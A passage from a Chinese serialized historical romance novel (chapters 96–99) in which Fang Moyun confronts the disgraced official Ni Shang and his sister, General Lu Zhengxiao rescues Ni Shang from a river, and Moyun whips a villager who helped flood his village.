“求谁都百搭！”茉云愤然的转身了。
“哥，你就好意思都推给正啸哥？”何友没好气的小声骂道。
若辰则被逗笑了往自己院子走去，何友亦愤然转身，王胖子丝毫没有关注他们的争论，自顾自的练着，结果一下没站稳跌坐到了地上，震得地似乎都晃了一下。
“你们若把关大人家的砖坐碎了，关大人可不会饶你们啊！”茉云顿时没好气的回头骂道，显然是指桑骂槐，王胖子有些不好意思的揉揉臀，仔细看着地上的青石板。
“方茉云，我们还有你作祟？”青岚顿时回怼她说道，她素来对关若辰兄弟都是甚为尊重的。
茉云气愤地指着说：“都是一群不够义气的！”
若辰无语的看向茉云，想着卢正啸来了，看他怎么搞得定，顿时又觉得有意思的笑了。
倪尚来到了望山别院，被倪虹一通好骂，最后是她夫君说情，才让倪尚站了起来，倪尚从始至终都是心如死灰般的沉默不语。
何友来看望了倪尚，并道明了证据都握在了茉云的手上，是茉云不会放过倪尚，她一贯睚眦必报，之前倪尚假借正啸令牌泄私愤打了其二十仗。
翌日清晨，倪虹亲自来了若辰府衙内院，景昇追了来劝，劝倪虹最起码还是请若辰引荐为好，可是倪虹并不听劝，她执意要去会一会那方茉云，且倪尚是她在这世上最后的亲人，她不能见到自己亲弟前途毁于一旦，她可替她亲弟像茉云求情。
“请问哪位是方大人。”
茉云咬着饼转头望向倪虹，倪虹看着她便上下打量了一番，深吸了口气行礼说道：“我乃倪尚长姐，倪虹。”
“哦，您寻我何事？”茉云望向倪虹，顷刻间众人都不约而同的望向倪虹，皆能感受到神情中的冷傲。
倪虹俯瞰茉云眼中露出一丝不屑，果然是如倪尚所说的粗鲁之人，连最起码得礼仪都不懂：“我弟倪尚初入官场，不谙世事，不懂为官之道，心思单纯故，若冒犯了方大人，还望方大人看在他是忠臣之后，自小在卢将军身边长大，海涵一二，不予他计较。 ”
此时若辰听到了府衙来报，立刻起身赶往了庄院，倪虹自小乃京城有名的才女，素来心高气傲，她能与茉云聊几句？倪尚亦随着何友赶了过来，他自幼与张姐感情深厚，怎得让自己长姐为自己来求此人。
茉云则不咸不淡的看向倪虹说道：“我若记得没错，你爹是被罢了官的，朝中何时定义他为忠臣了，再者你弟是卢正啸身边长大？那你让她来求情啊？你谁啊，我不认识你。”
若辰顿时都呆愣住了，一时都不知如何
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转圜，青岚无语的看向茉云，倪尚则咬牙瞪向茉云，她居然对倪虹如此无理。
倪虹顿时亦涨红了脸望向茉云，她从未想过此人会如此无礼对待自己。
“方大人如此大的官威？我夫人如何也是景王府的少夫人，方大人连起码得朝廷官制都不知吗？”景昇顿时愤然言道，按照平日他温和的性子，今日已是他愤怒之极致了。
茉云旋即起身行礼说道：“不知小王爷驾到，还望小王爷海涵，所谓不知者不罪，她说她是倪虹，可她从未说过，她是景王府倪氏。我如何知道她品阶？”
景昇顿时亦被堵住了嘴，皱眉看向此人，她一脸的不卑不亢，可是腰杆挺得笔直。
“而且朝廷未发公文，您也未给小人看您的通关文书，据我朝律法，王爷离开封地，是要上报朝廷获准的吧。”茉云淡然的说道。
朝廷固然是有这个律法，但是多是针对于世袭且佣兵的本性王，对于庶出的小王爷们其实管束也没有那么严格，随他们自由自在的游山玩水，但是前提是无人深究的情况下……
茉云冷笑着看向景昇沉默不语的样子：“您可知道世风日下，处处都是冒充之人，为防止有损景王府英名，请小王爷赐文书给小人一看如何？”
景昇亦怔了半刻望向茉云，他们来去匆匆自然是没有通关文书。
“拿不出啊？那下官食朝廷俸禄，还是有职责行文至景王爷府，询问一二，看是王爷府忘了这个朝廷规矩？还是小王爷未经景王爷批准私自出封地，亦或是你等干脆就是假冒的。”
倪虹咬牙瞪向茉云，若是王爷府知道此事，景昇定然受到训斥，他们在王爷府的日子越发难过了。
“茉云。”若辰吸了口气无可奈何地说道，青岚亦伸手拉过茉云。
若辰马上给何友使脸色，让他带他们姐弟速速离开，茉云抓到这个痛脚那是可大可小之事。何友旋即领了他们离开，倪虹咬牙拂袖而去。
茉云亦甩开青岚拉着自己的手，冷冷看向倪虹背影说道：“忠臣？”
“我爹是蒙冤的！”倪虹忍无可忍的回头吼道，顿失往日气度，这便是她往日最不能触摸的逆鳞，“你去问问……”
“我去问谁？关我何事！那是你爹，尔等有本事洗了半个县，没本事跟自己爹洗冤？”茉云冷凌的回敬道，“我话还没说完呢，忠臣之后，你两也配？”
倪虹顷刻间泪水落了下来，可是满腹经纶的她，此刻却无言以对，倪尚看见家姐为了自己受到此番羞辱，简直是痛不欲生。
最终是青岚一把拉过茉云，示意她闭嘴，王胖子和二花都坐在那里，他们如此大的神经都感受到当场的气氛不对，不敢吃饭了。
他们一众人离开了，倪虹泪水像断了线的珠子，这么多年的义愤压得她再也隐忍不足，对天控诉道：“爹娘你们在天之灵，可曾看见你们留下的一双儿女，在人间如此受辱，当日为何不将我等亦带了去，成全你们的忠诚。”
景昇深吸一口气担忧的望向了倪虹，倪尚则痛苦的闭上了眼睛，这些日子来，愧疚，悔恨，再加上长姐的训斥，正啸哥的冷漠，本已无以复加，方茉云今日的羞辱更让他绝望至极。
而庄院内，茉云在没有表情的磕着瓜子，青岚没好气的望向她，茉云压根当没看见，恰逢此时思淼亦开心的回南关来了。
“你不回中州，老往这儿跑干嘛？”茉云看向思淼没好气便问道。
“哎呀，师姐，快过年了，我跟宋大人写信了，说在若辰哥这里过个热热闹的年，他同意了。”
“是够热闹的，等卢将军来了，看他怎么收拾你！”青岚指着茉云骂道。
茉云顷刻怒气冲顶的吼道：“他试试，我送他的海棠姐弟去见阎王。”
青岚不恼反而笑了看向茉云点点，茉云拍着桌子就愤然回房了。
“这，这，这是咋了？”思淼指着说道。
“看着吧，反正这个年肯定热闹。”青岚忍着笑挑眉说道。
97.深藏
若辰出府就赶往了南关军营，直接入了正啸的营帐，不管正啸搭理不搭理他，他都将原委说了出来，当若辰说到，茉云说倪家姐弟，忠臣之后，你两也配时。
正啸顿时瞪向若辰没好气的说：“关若辰，我军务缠身，就让你看着三天。”
若辰居然嘴角微扬：“我谢谢您如此高看我，我怎知那海棠姐弟如此大胆，直接闯入宅院去找茉云的晦气。”
“哼，别说海棠了，就是海怪亦斗不过魔王啊。”执礼忍着笑评价道。
顿时众人忍俊不禁，正啸无奈的愤然起身，让执礼和谢青、沧海暂管军务。
“少主，我还是随你一起去吧。”执礼跟上去说。
“那就闭上你的嘴！”正啸没好气的骂道。
“是！”执礼一脸谦恭的说道，众人更是乐了。
他们一行人出了军营回城，到达城门之时已经是傍晚时分，却看见护城河外围了很多人，众人皆都在喊，有人跳河了。
正啸抬目望去，顷刻间飞身下马，跳入河中，千山和万莫立即跟他跳入，若辰和执礼都还未缓过神，正啸已深入到冰冷刺骨的河水之中。
“少主！”
顷刻间，正啸拉着一人浮出了水面，在千山和万莫的帮助下，将此人拉上了岸，若辰定睛一看，才吃惊的发现跳河之人居然是倪尚。
“正啸哥，你……何须救我……？”
正啸顷刻愤怒至极的吼道：“千山，万莫，将他给我绑了带回去。”
“是！”
冰冷刺骨的河水，刺激了正啸的体内的寒毒，顿时正啸一手捂着胸部一手撑着地，咬牙忍着，只得运功抵御寒毒。
“少主。”执礼顿时扶着正啸说道，若辰马上转身跟自己随从兵下令，让他速速赶往军营，请了白神医来。
正啸支撑着起来愤然上马入了城，回到了庄院，就倒在了床边，若辰深深吸了口气着急看向窗外，其余的医师他也不敢随意请，只能等白神医前来。
茉云正在房里跟思淼下棋，要悔棋，思淼死活不肯了，两人正在吵，王胖子则在一旁开心的看着，青岚只得叹了口气一脸无语，在一旁给茉云补着衣服。
二花推门进来一脸八卦的凑近说道：“夫君，我刚听院里他们说，今日在院中被茉云姐骂的那个海棠弟弟，好像跳河了。”。
众人都停住了望向二花，青岚吃惊地针直接扎上了手，猛地一抽手。
“跳河死了？”王胖子吃惊地说道。
“没有，说是被那个很凶，哦，不，很威严的将军救了。”二花想着说道。
王胖子松了口气说道：“娘子，你什么都好，就是话不说完这事，不太好……”
“可是他们说那将军和海棠弟弟都病倒了。”二花又小声的凑近说道。
思淼看向二花说道：“怎么可能，你是说我师兄卢将军？他铁打的，怎可能跳河救个人就倒了。”
茉云放棋子的手亦停住了，她知道为何正啸是为何会倒下，不禁握紧了手中的棋子。
“真的，现在的河水，冰凉得刺骨，很容易生病的，那个将军是好人，那时候夫君你坐牢之时，他还派万大哥来跟我说，让我不要出客栈，说只要不出客栈，会有人护我安危。”二花吸了口气想着说道。
“那你为何不告诉我？”茉云顿时看向二花说道。
“他说不要跟任何人说……”二花想着理直气壮的说道，“他是个好人，夫君，我想去煮点姜汤给他，你觉得合适吗？”
“合适，我去给你生火，走，快点。”王胖子马上起身说道。
青岚看向茉云望着二花那无语又拿她没办法的表情，不禁又被逗笑了。
思淼不解的望向茉云说道：“师姐，海棠弟弟是谁，师兄为何跳河救他？”
“你说你能干嘛？”茉云将棋子愤然一扔走了说道。
思淼吃惊的看着茉云的背影，望向青岚说：“我怎么了？”
“你没怎么？就是某人啊，突然觉得自己这盘棋，怕是搞不赢了，气急败坏呗。”青岚故意大声的说道。
茉云没好气的转头瞪了青岚一眼便回房了，顿时传来了正啸剧烈的咳嗽声，定是寒气入肺，她忽然也亦捂住了自己胸口，自己这是怎么了？
此时二花和王胖子端着姜汤来，他两一脸憨傻的说道：“将军，喝碗姜汤可以御寒的……”
“稍等！”千山顿时挡住了他两，想着还是委婉的说道“将军是……不能随意吃外来的东西！”
“为何？”二花看向王胖子不解的说道。
“将军如此重要的人，怕有人毒害，喝之前都要试毒！”王胖子马上说道，“我先给将军试一口！”
正啸还未等王胖子喝，他伸手便拿过了碗，一饮而尽，顿时感觉到好像一股暖流流过。
王胖子和二花端起另外两碗，一脸殷切的望向千山和万莫，他两也二话不说亦喝了姜汤。
“好喝，谢谢。”万莫笑了望向王胖子说道，王胖子亦憨傻的笑了点点头。
“姜汤甚好，烦请给隔壁倪大人端一碗。”正啸看向王胖子说道。
“哦，好，我就去送。”王胖子马上拉着二花又从罐子里倒了一碗，端给了隔壁房的倪尚。
倪尚看见王胖子这般闯了进来，顿时愣了半刻。
“倪大人，卢将军说此姜汤甚好，让你也喝一碗。”王胖子端着姜汤满脸傻笑地说，可是看见倪尚望向姜汤发愣的样子马上解释道：“倪大人，我跟你讲，我夫人素来精通厨艺，这姜汤好喝！”
倪尚双手接过了姜汤，暖暖的姜汤顺过喉咙那一刻，顿觉暖意弥漫全身，可他却一边喝一边哭了，顿时哭得肩膀都在颤抖，把这么些年的不屈和委屈都哭了出来。这可把王胖子吓到了，这么大的官在自己面前哭得稀里哗啦。
王胖子着急的转身望向二花有点质问的口气说：“你是不是没好好煮，大人喝了哭成这样？”
“我！”二花吓得低下头想着，惶恐得手一个劲的抠着衣角。
“汤很好，倪大人是醍醐灌醒！”若辰走进来看向王胖子他们温和的笑了说道，“有劳你和你夫人，让他静一静。”
“哦，别说话！”王胖子马上看向二花小声说，二花立刻点点头。
若辰怔了半刻，他向来说话委婉，王胖子他们根本听不明白他的话外音，他身边的何友则笑了说道：“我哥的意思是说你和夫人可早点回去休息。”
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>“哦，哦！”王胖子和二花马上争先恐后的端着汤罐就跑了。
倪尚更是悔恨的泪水留了下来，亦难怪茉云说，王胖子能通番卖国真是天下奇闻。
王胖子和二花两人回到茉云房里顿时眼眶微润，茉云顿时抬头看向王胖子。
“这是怎么了？”青岚正将补好的衣服送来给茉云，看着王胖子伤心的样子马上问道，“将军出什么事了？”
“没怎么啊，将军就是仁厚，我媳妇给熬的姜汤，他问都不问就喝了，一点都不担心我们下毒。”王胖子感动得说道。
茉云顿时无语的撑着头，他那神情差点吓自己一跳，还以为卢正啸这就撑不下去了。
二花则自顾自的乘了一碗喝了一口说道：“姜汤可好喝了，为啥县令大人喝了哭成那样？”
姜汤浓郁的香气弥漫开来，茉云望向二花，然后看像她手中的姜汤，伸手端来自己亦喝了一口问道：“这汤你如何煮的？”
“就是姜捣碎，小葱洗干净系好，豆豉，小火熬制，不能放油，只搁盐，开锅之时，滴麻油。”二花自顾自的介绍道。
“看，我媳妇精通厨艺。”王胖子傻笑着炫耀道。
“王二花！”茉云顿时愤怒的拍着桌子吼道，“我来此半月有余，也没见你给救你家相公的恩人做点好吃的。”
“我……”二花顿时紧张的说道，“我夫君坐牢了，我脑子都是乱的……”
“脑子乱，你用脑子做饭啊！”
二花看见茉云愤怒的样子吓得不敢言语，青岚顿时起身要制止。
只听见王胖子大手一挥笑着说道“没事，媳妇，打骂都是爱护，我小时候也就我爹妈和茉云骂我，别人都不太惜得搭理我。你就跟我一样，诚恳的认识自己错误就好。”
然后两人立马睁大双眼，都一副坦诚而无辜的表情望向茉云，等候她的训斥。
“哎呀，我的妈啊，王胖子这滚刀肉又来了，这一下还来了两！行行行，都回去睡吧，别在我面晃了。”茉云想死的捂着脸说道，顿时青岚都笑得不行。
夜深终于人静，茉云靠在床头看向窗外明月，看来卢正啸不会让自己动倪尚的，若自己非要动他，杀鸡给猴看，也不是动不了，可是他伤成这样……想到这里，茉云不禁自嘲的笑了，没想到方茉云，你亦有优柔寡断之时，可是此时又传来了急促咳嗽声，茉云微微蹙眉，这便是心疼的感觉吗？
半夜之时，白神医终于赶到，用银针为正啸驱寒，终于镇住了寒毒，正啸才缓过来睡了过去。
“白叔……”何友着急的问到。
“他刚睡着，我们屋外说。”若辰小声说道。
“无碍，我亦施了助眠的针，他已然睡了过去，让他好好睡一夜，明日清晨醒来，便无大碍。”
“白神医，幸亏有你。”执礼叹了一口气说道。
“是幸亏有这碗姜汤，熬得不错。”白神医端起碗闻了闻放下说道，“卢正啸这小子啊，就是心里的事闷太多了，郁结在心。”
若辰吸了口气望向已沉睡过去的正啸，他自小便是如此，将什么都深藏于心，并不是他城府，他自小习武本血气方刚，可曾经那么多血淋淋的教训，让他知道自己只能深藏……
98.针锋
翌日清晨，倪虹也听说了倪尚跳河之事，顿时吓得面色惨白的来了府衙，不顾一切要带走倪尚。
此时，卢正啸缓步走了出来，倪虹顿时望向卢正啸，不免心中一怔，上次见他便是十年前，他依旧是这般冷峻而威严。
“卢将军。”景昇恭敬地行礼说道，可是脸上亦没有多余表情。
正啸亦按照朝廷礼制回礼，眼神中透出温和。
倪虹曾也想象过很多次再遇见正啸会是何种情形，而此刻愤怒似乎已经无法压抑，只想将这么多年的怨恨的都控诉了出来。
她望向正啸冷冷的说道：“你们卢家是还嫌祸害我们倪家不够吗？当年我爹娘皆因卢家而死，老太君唯恐我牵连将我远嫁，现在还要我倪家断子绝孙？”
“姐。”倪尚诧异的望向倪虹。
“你这辈子对他马首是瞻换来的是什么呢？爹这辈子对卢家肝脑涂地换来的又是什么？全天下都赞誉卢家如此高尚，只有我倪家姐弟才知道他们的虚伪和道貌岸然，有用之时利用，无用之时弃之如敝履。”
“正啸哥不是这样的人，是我……”
“速速跟你姐走吧。”正啸平淡的转身说道，若辰则皱眉看向倪虹最终沉默不语，此时他们姐弟离开亦是最好的出路。
“谁说倪尚可以走的。”此时传来一个平稳却不容置疑的声音，顿时众人望去皆愣了半刻，是茉云走了出来。
正啸皱眉望向茉云，若辰望向茉云欲上前阻止，王胖子他们却都站在远处不敢靠近，他亦从未见过茉云这般狠戾的眼神。
“卢正啸，管好你的狗。”倪虹顿时愤怒的说道，此时心中的忿然，已经将她所有的端庄优雅击得粉碎。
“景夫人，那是你当真是太看得起卢正啸了。”茉云阴狠的笑了，“你走可以，倪尚得把命留下来。”
顿时众人诧异的望向茉云，可是茉云此时如此冷静的眼神，绝不是在说笑。
“凭什么？”
“他事前许是被蒙骗，可是事中他亦察觉，却为向卢正啸邀功，意欲置无辜民众于死地，这等父母官按我朝律法不该死吗？”
执礼深吸一口气望向茉云，若论倪尚渎职，在朝廷律法中亦是松紧皆由判官拿捏，可大可小，遑论一旦被茉云咬住猎物，又有几个能逃脱……
倪虹依旧言语中没有任何退让：“你有何证据呢？”
“你觉得我拿不出证据？”茉云笑了看向倪虹，她的笑容顷刻间让人不寒而栗。
“姐，她说的没错，我是……”倪尚深吸一口气跪下。
顿时正啸拉住倪尚，便打断道：“方茉云，此地不由你主持公道。你是几品官，还是领了皇命，可在此如此张狂！”
青岚诧异地望向正啸，他丝毫未在倪虹面前给茉云留下任何颜面，可是茉云从始至终都是在帮他。
茉云却丝毫不在意，面无波澜的回敬道：“说来也是，那我便将证据，上交察院吧。”
“方茉云！”正啸顿时怒了皱眉吼道。
“若当日一开始没有你对尹恒的妇人之仁，他手下会多有黄将军那么多的冤魂吗？”茉云顷刻亦怒了指着吼道。
若辰无语的看向他两，平日里一个终日难言一语，一个时刻都是喜笑颜开，唯独两人撞一起之时，真是片刻相处都是针尖对麦芒。
“方茉云，那亦与你无关。”
“卢正啸，我这辈子绝不会放过我已抓到手的恶魔。”
“你不入魔即是万幸，管好你自己该管之事！”
“我再恶，我从未有一刻将魔爪伸向无辜民众，而他一出山便入魔，要踩着良民的尸骨来跟你献媚，为何这你又能容？”
“家事坎坷，突逢不幸，历尽人间磨难之人，心生怨愤会不会容易行差就错，你我心里皆清楚，方茉云，你此生没人包容给你吗？”
这看似几近剑拔弩张的争吵中，两人四目相触，其实却蕴含着彼此更深的交流。茉云从正啸的眼神中也看得懂，他的仁慈是因为倪尚跟他们一样，怀着满腔对人世不公的怨愤，才行差就错。
茉云忿然的怒吼道：“可我等从没有一刻怨愤和怀疑过自己的父亲，我在察院见过他们父亲倪大人卷宗，如果说黄老将军是舍身取义，那么倪大人……被冤却甘心领罪，那便是舍弃了一切，不只是性命，包括为官者最看重的身后名。他宁背一世骂名，保的只是卢家吗？保的是他匡护朝廷正义，保南境万民灭峑戎的信念。”
正啸咬牙深深吸了口气，倪大人当日一己承担了过失，保全诸将，此恩老太君和父帅心中多年不能忘却，他又怎么不明白，即便倪家后人不能体谅，可无论如何，这么多年，卢老太君都在尽力保全倪家后人。
“今时今日……”茉云怒不可斥的指着倪尚说道，“倪大人的儿子却来屠戮南境之民，他配活吗？”
若辰抬目看向倪虹两姐弟，倪家门楣轰然倒地之时，倪虹本是京城闻名的才女，倪尚亦是京城才俊贵子，人生在世，又有几个人年轻之时，能承受那般跌宕。
各人有各人的立场，执礼则不禁叹息，这番话自己心中真想大声叫好，卢家之人背负这么多，又有谁能体谅？
倪尚则泣不成声的说道：“不配，我是不配活，我该死。”
而差点没有瘫倒下去的倪虹，亦是泪流满面，幸亏景昇在她身边扶着她。
“知道该死就好，我成全你！”茉云伸手抽出了万莫的剑，众人还未晃过神来之时，她已袭来。
正啸立刻出手拦茉云，可被茉云挣脱，众人还没恍惚过来，正啸只得情急之下，抽出千山之剑，汇聚全身之力，一剑下来劈断了茉云手中之剑。
“方茉云！”正啸愤怒的吼道，顿时自己一口气息没接上来，捂住胸口差点倒了下去，又拼命的咳嗽。
千山万莫一起涌上前扶着他吼道：“少主。”
众人亦马上冲来，倪虹深深吸了口气关切的望向正啸，他年少之时，便身壮如虎，她都未曾见他病过。
“正啸哥……”
“我没事。”正啸深吸一口气说道，不知为何此刻心脉反而显得通畅了点。
此时却传来方茉云不咸不淡的声音：“装病啊？卢正啸，别来这一套，没用。”
众人都诧异的望向茉云，景昇亦吃惊的望向茉云，不是传闻中，茉云是正啸身边最得力信赖之人，她居然此刻还能如此说……
青岚忍无可忍的冲来拉过茉云低吼道：“方茉云，你是疯了不成？”
“昔日我在他手下当差，每次装病……不是，我每次得病，他都是这么说的，怎的，这套我用得不要的，将军又学了去。”方茉云没好气的说道。
若辰朝执礼看了一眼，顿时伏低头，忍俊不禁。执礼亦轻轻嘴角上扬，终究松了口气，危机暂时有所缓解。
思淼亦忍着笑一脸无奈的说：“师姐，您还是跟我回中州吧。”。
“我偏不，他此刻既不是我上司，又病得要死未落气亦打不赢我，身边还无人，奈我何？”茉云看向正啸没好气的说道。
正啸顿时就忿然转身回房了。
茉云亦白了一眼转身回房了，还不忘转身威胁倪尚：“你跑一个试试。”<
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p>“悉听处置。”倪尚坦诚的说道。
茉云亦转身忿然的走了。
“你两能别一见面就吵吗？”若辰笑着跟正啸进屋，可是看着正啸那愤怒地瞪向自己的表情，他却乐了。
白神医则笑着探脉说道“这方茉云真是妙人啊，一会儿功夫让你大怒一场，反而将心中郁结之气冲开。只是此法还是少用为好，怕你承受不了？”
正啸皱眉没好气的抽回了手，众人只能伏低头忍俊不禁。
“已经送了倪虹姐出府，她……泣不成声，倪尚还在外面跪着，等候发落！”何友进屋看向正啸说道。
“让倪尚进来，你们下去吧。”
“是。”
茉云回到了房里却枯坐在窗前，一言不发，王胖子他们都在房外小心翼翼的看着，都能感受到茉云心情低落。
“师姐……”
“嘘！”王胖子将胖手放在嘴前提醒思淼不要发出声响，然后从兜里拿出花生瓜子递给思淼，“咱坐外面吃瓜子就是了。”
“也是！何必要进去呢！”思淼和王胖子、二花坐在台阶上吃瓜子，青岚瞬间无可奈何地轻轻推开了门。
“为何要如此相逼呢？终究也没有酿成人祸，也算是上天有好生之德。”青岚看向茉云温和的宽慰说道，拿起茶壶给她倒茶，其实她心里知道，茉云心里恼的不是别人，是自己终究下不去手了……
茉云接了茶杯却依旧缄默不语，此时执礼却造访了，他站在门口便行了大礼。
“将军定然是希望你给倪尚一个机会，将军亦不能处置倪尚，他的难处……”
“他为保卢家军中重情重义之名，不杀倪尚，我来啊。”茉云顿时转身望向执礼，眼神之狠戾，让青岚都不禁吃了一惊。
“将军不是为搏一个美名，他亦不愿您身陷其中。”执礼心中明了，正啸不愿让倪尚死，而且茉云若执意让其走绝路，以倪虹姐弟的感情，倪虹此生绝不会放过茉云，少主此生已经背负了那么多怨恨，他不想茉云这辈子亦不得安宁。
茉云望向执礼忽然轻笑说道：“知道为何我没有报复你吗？”
众人看向茉云冷笑的表情，总觉不寒而栗，二花偷偷伸手拉着王胖子的衣角，畏惧的往后挪了一下步。
“因为你忠心护主之时，能当机立断毒死我，至少清醒绝决，让我高看一眼，可第一次下毒被他拦了，你应该下第二次。”茉云冷厉的望向执礼说道。
执礼深吸一口气没有说话，茉云总是给人如此的压迫感，让他都不敢正视她眼睛。
“你以为我多稀罕倪尚这条命，我只是要取了这条狗命，给南境的那些狗官看看，打着镇南大将军的名号，在南境胡作非为，是死路一条。”
执礼怔了半刻，叹息着说道：“我知道你有理，可我是将军的属下，倪家于卢家和将军都有恩。”
“若是那些所谓的恩和情比卢家世代信念更重要，你们卢家妄谈什么灭峑戎，平南境，趁早滚。”茉云顷刻冷凌眼神扫射着执礼。
执礼顿时愣松在原地，诧异的抬起头望向茉云，现场鸦雀无声。
而就在此时小马他们四个人回了庄院复命，其中石川手上押着一个一脸心如死灰的的男子。
“头，人逮到了。”他们四人恭敬的行礼道。
“二狗？”二胖子顷刻开心的冲下台阶，手上的瓜子花生都撒了一地，冲来就熊抱着二狗，二狗愣在原地没有只身。
“来得正好，我让你看看，我是如何处置背信弃义，泯灭良知的故人和挚友。”茉佳顿时抬手就拿起了马鞭，飞身而出。
99.教训
一个恍惚间，茉云飞身而出，马鞭挥出，划破长空，似乎顷刻撕裂了周遭，一鞭就将二狗抽到了地上嗷嗷惨叫。
王胖子还没有晃过神，茉云看了石川一眼，指了一下王胖子，他们一拥而上拖开了王胖子。
只听见风被抽裂之声，茉云抬手又三鞭，抽得二狗倒在地上抱头痛哭，血迹渗出了衣服，可是他亦没有逃窜。
“茉云，你干嘛？他是二狗！”王胖子晃过来大吼道。
“村里发大水，你以为他是好心叫你去救人？他是收了恶贼的钱，堤坝的洞他发现的，他帮忙炸的，毁了乡亲们的家园，再拉最好的朋友下水，替他去死！”茉云鞭指二狗，望向王胖子说道。
王胖子顷刻愣在原地望向二狗，二花则顿时怒了冲过来吼道：“二狗，茉云姐说的是真的？”
二狗痛哭流涕地抱着头说：“我……不是，是凌县丞说朝廷来了旨意，全村是非搬不可的，说是淹了村里，县城能给乡亲们的更多抚恤。”
“你有这么好？”茉云冷冷的望向二狗吼道，“那丢到王胖子的银两哪儿来的？”
“那是人给我的报酬！”二狗抱着头边哭边说道：“我知道闯了大祸，可是我再去找县丞理论的时候，我远远看见他……他杀了卖炸药给他的矿山工头，我知道，他肯定也会杀我灭口，我怕死……我就跑了。”
“你跑了，让王胖子替你去死。”
“我没有办法，我害怕，我回去跟娘说，我娘说我连媳妇还没娶的，非要带我走，我只好把银两放到王胖子院子里，跑了，我不知道王胖子会被判重罪。”
“是你跟王胖子说，堤坝被炸，要不是你一去不回，王胖子以为你死了，他压根不会去府衙讨公道，不会遭此一劫，他差点被判卖国的死刑。”
二花抽出了擀面杖冲上去就打，众人都没有晃过神来，都不知其从哪儿抽出的擀面杖。
“二花，住手！”王胖子顿时吼道，二花立马停住了，转头望向王胖子，“二花，二狗肯定不知道！”
“哼，不知道，亏你信。”茉云瞪着二狗说道，“就凭你为了钱伙同奸人，毁了乡亲们全村，老子今天就要在此抽死你这畜生。”
“茉云，二狗你知道的，他傻！”王胖子拼命的挣脱着吼道，“他是被那坏蛋骗了，以为抚恤会更多！”
茉云哪管那么多，操起鞭子一顿狠抽，二狗已经被抽到地上动弹不得。
“什么狗屁以为？因为蠢和自以为是害死了人就不该死？就情有可原？这种人才更该死，该万死。”茉云怒不可斥的吼道。
倪尚跪在正啸面前，亦听见了茉云的训斥声，他深深吸了口气。若辰站在窗边，侧目看向茉云，嘴角微扬，她显然是指桑骂槐。
“为了别人好？少往自己脸上贴金了，不过是你从来都被人看不起，十两银子淹了他们，你无所谓，没有人垫背，拿你最亲之人垫背你亦无所谓，为他们好，你为的不过是证明自己能耐，可你本一无是处，连为人都不配。”茉云抄起鞭子吼道。
“十两银子？”二花想着突然看向王胖子说道，“那时候你说爹身体不好，要弄点银子给爹买点补药补身体，二狗说他要娶个媳妇也要银子，你两合计需要个十两银子，他说……他去想点办法……”
“是的，是的！”王胖子恍然大悟着急的说道，“二狗家里穷，见钱眼开，你知道的，可是他也是被骗了啊！茉云，你原谅他吧！”
可是茉云又岂会听他的，正啸皱眉说道：“千山，万莫，去拦着她！”
顿时千山、万莫就冲了出来，茉云抬手就呵斥道：“站住。”
他两愣了半刻，都站在原地看向茉云，没敢往前一步。
“他的人他不处置，我处置我的，我看谁敢废话。”
若辰和执礼互相看了一眼忍着笑，但凡是正啸下令，这两人就是刀山火海都不会迟疑半步，茉云一句话就把他们喝住了。正啸愤怒却无可奈何地只能自己起身了。
可王胖子看见二狗一动不动，以为他快不行了，不知哪儿来的力气挣脱了石川，冲过去一把抱着二狗。
“让开！”茉云瞪着王胖子说道。
“不让！”王胖子居然笃定的反抗茉云。
“不让连你一起打！”
“那我也不让！”
茉云顿时就两鞭子下去，二胖子依旧抱二狗抱得死死的，顷刻间二花被吓到了，嚎啕大哭着冲过来，要抱着王胖子。
“哎呀，媳妇，你快让开。”
“我不让！”二花大哭着说道，石川他们冲来拼命的扯开他们两，却死活拽不动。
顷刻间外坪乱成一团，滚在一起，正啸本、推门而出，看见此情此景亦愣了半刻，眼中闪过一丝无语。
茉云愤怒的吼道：“王胖子，就你们夫妇还能拦住我？”
“我……”王胖子想着死死的抱着二狗说道，“那怎么办……我不能让二狗死。”
“茉云！”青岚立马走下来说道。
“谁劝都没用，想一起挨打就过来。”茉云顿时瞪着青岚亦没得好口气的说道。
青岚站在原地亦不敢前行一步，茉云转头望向石川他们吼道：“再拉不开他两，就连你们一起打了。”
就在这纷扰闹腾之时，院门被推开，这时若辰的护卫护送了王胖子爹娘老两口进来，他们一进来似乎压根没有审视院内的状况，就哭着喊道：“宝贝儿子啊！”
“爹娘，你们怎么来了。”王胖子还没晃过神抬起头说。
他娘哭喊着跑来抱着王胖子，王屠夫也三步并作两步的跑来，上下打量着自己儿子有没有受苦。
“儿子，你没事吧，怎的瘦成了这样？”他娘哭得稀里哗啦的说道。
“这是哪个畜生打的你！”王屠夫此时看到王胖子身上的血印突然说道，王胖子憨憨的摸着脖子上的鞭子印，现在才觉得生疼，“儿媳妇，你说，谁打了王胖子！”
二花不自觉的瞟了茉云一眼，她也不敢说啥。
王屠夫看见茉云手上拿着的鞭子顿时就怒了吼道：“好啊，是你打的，他娘，拿我那杀猪刀来，你个倒霉催的，你敢打我儿子。”
“我没打你儿子，是二狗出卖了王胖子和全村，收了钱淹了全城不说，还让王胖子去顶罪差点送了小命，我是教训二狗呢，王胖子非跑来拦着。”茉云没好气的解释道。
王屠夫一听，顿时火冒三丈的吼道：“好啊，原来是你小子，他娘，我杀猪刀呢？”
“不是，不是，爹，之前不是我跟你和娘说，二狗说去搞十两银子，说给你买补品，给他自己讨媳妇，你两还说二狗傻，结果他就是傻，被别人骗了。”王胖子马上解释道。
“对，对，咱家院子里的那锭银子就是二狗留那儿的。他也没有收钱，钱都给咱咱家了！”二花也连忙补充道。
王胖子的娘吃惊的说道：“那是咱家收了钱，淹了全村？”
“啊？也……不是！”王胖子想着说道，可是他似乎也理不清楚了，“爹，反正二狗是被骗了。”
茉云顿
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时捂住了额头，自己真不知当年怎么就碰见他们王家，属于全家脑子加起来都不够用的那种。
王屠夫顷刻就下了结论说：“这孩子从小就傻，没咱王胖子聪明，被骗很正常，算了。”
“王叔，压根就不是这么回事，二狗为了钱，淹了全村，还让王胖子去垫背。”茉云忿然指着二狗说道。
“哎呀，算了，都是孩子，做错事，假装打一顿就行了！”王屠夫大手一挥说。
“这是背信弃义，数典忘宗，实属该死！老子是替你们全村除祸害！”
“这就该死啊，你那时候日日说王胖子是你最好的哥们，结果你天天骗他，还差点骗得去将供奉咱祠堂祖宗的烤乳猪偷来给你吃，老族长那么大年纪了，哭着追着王胖子满村跑。背信弃义，忘了祖宗就该死，那你咋还活到现在了？”王屠夫指着茉云骂道。
茉云顿时垭口无言的瞪着王屠夫，青岚则忍着笑看向茉云。
“还有她去粮仓那事……”王婶想着看向王屠夫说道。
